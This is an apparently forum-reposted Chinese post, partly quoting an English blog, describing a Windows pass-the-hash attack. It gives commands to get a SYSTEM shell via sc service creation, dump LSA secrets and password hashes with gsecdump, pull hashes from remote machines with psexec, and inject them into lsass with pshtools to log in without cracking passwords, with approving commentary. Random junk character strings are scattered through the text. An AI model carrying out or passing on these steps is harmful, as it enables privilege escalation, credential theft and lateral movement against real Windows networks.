HASH注入式攻击

admin

o get a DOS Prompt as NT system:
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C:\>sc create shellcmdline binpath= "C:\WINDOWS\system32\cmd.exe /K start" type= own type= interact
[SC] CreateService SUCCESS
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C:\>sc start shellcmdline
[SC] StartService FAILED 1053:

; Z. f& W5 r# M! E/ v6 b& [: mThe service did not respond to the start or control request in a timely fashion.

C:\>sc delete shellcmdline
: e$ p) D! A6 J0 t[SC] DeleteService SUCCESS
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# _: I$ T6 r" NThen in the new DOS window:
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Microsoft Windows XP [Version 5.1.2600]
2 n4 o; Y1 x9 m. Q(C) Copyright 1985-2001 Microsoft Corp.
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C:\WINDOWS\system32>whoami
  d+ b/ ?: G! n: a4 K. bNT AUTHORITY\SYSTEM

- {9 a, l1 B4 m' i1 H- {C:\WINDOWS\system32>gsecdump -h
gsecdump v0.6 by Johannes Gumbel (链接标记johannes.gumbel@truesec.se)
usage: gsecdump [options]

options:
-h [ --help ] show help
# ?- T3 `5 X- T9 G  ?" s3 b4 P-a [ --dump_all ] dump all secrets
-l [ --dump_lsa ] dump lsa secrets
' x! Y5 n9 ]. `+ C, ?, a-w [ --dump_wireless ] dump microsoft wireless connections
+ @, {7 ~8 ~& C; K-u [ --dump_usedhashes ] dump hashes from active logon sessions
-s [ --dump_hashes ] dump hashes from SAM/AD

$ f* }: K: L! v/ g5 J0 b, IAlthough I like to use:
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PsExec v1.83 - Execute processes remotely
Copyright (C) 2001-2007 Mark Russinovich
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C:\>psexec \\COMPUTER -u user -p password -s -f -c gsecdump.exe -u >Active-HASH.TXT
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to get the hashes from active logon sessions of a remote system.

These are a lot better than getting a cachedump of the Cached Credentials because these hashes are LMHashes that can be easily broken with Rainbow Tables.

7 ^4 l9 Y5 Y  T* _* ~提示一下,可以使用pshtools工具包中的iam,把刚才使用gsecdump抓取出来HASH信息导入本地的lsass进程,来实现hash注入式攻击,还是老外厉害,这下管理员有得忙了,ARP欺骗的时候获得的LM/NThash,还有gethash获得的,其实根本不用破解密码,这个就是利用工具了,原文说的好,不管密码是设置4位还是127位,只要有了hash,100%就能搞定了.
原文出处:链接标记[url]http://truesecurity.se/blogs/mur ... -text-password.aspx[/url]
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% e* c, M. k) T0 S' v8 o我看了下原文出处，貌似是/2007/03/16/郁闷啊，差距。
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